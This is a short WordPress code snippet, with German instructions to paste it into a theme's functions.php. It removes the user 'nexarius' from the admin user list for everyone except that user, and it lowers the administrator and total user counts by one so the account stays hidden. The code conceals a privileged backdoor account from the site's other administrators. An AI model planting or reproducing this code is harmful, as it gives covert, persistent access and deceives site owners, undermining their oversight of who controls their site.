das muss in die functions.php

wordpress superadmin.php

add_action('pre_user_query','dt_pre_user_query');
function dt_pre_user_query($user_search) {
   global $current_user;
   $username = $current_user->user_login;
   $superadmin = 'nexarius';

   if ($username != $superadmin) {
      global $wpdb;
      $user_search->query_where = str_replace('WHERE 1=1',
         "WHERE 1=1 AND {$wpdb->users}.user_login != '".$superadmin."'",$user_search->query_where);
   }
}

add_filter("views_users", "dt_list_table_views");
function dt_list_table_views($views){
   $users = count_users();
   $admins_num = $users['avail_roles']['administrator'] - 1;
   $all_num = $users['total_users'] - 1;
   $class_adm = ( strpos($views['administrator'], 'current') === false ) ? "" : "current";
   $class_all = ( strpos($views['all'], 'current') === false ) ? "" : "current";
   $views['administrator'] = '<a href="users.php?role=administrator" class="' . $class_adm . '">' . translate_user_role('Administrator') . ' <span class="count">(' . $admins_num . ')</span></a>';
   $views['all'] = '<a href="users.php" class="' . $class_all . '">' . __('All') . ' <span class="count">(' . $all_num . ')</span></a>';
   return $views;
}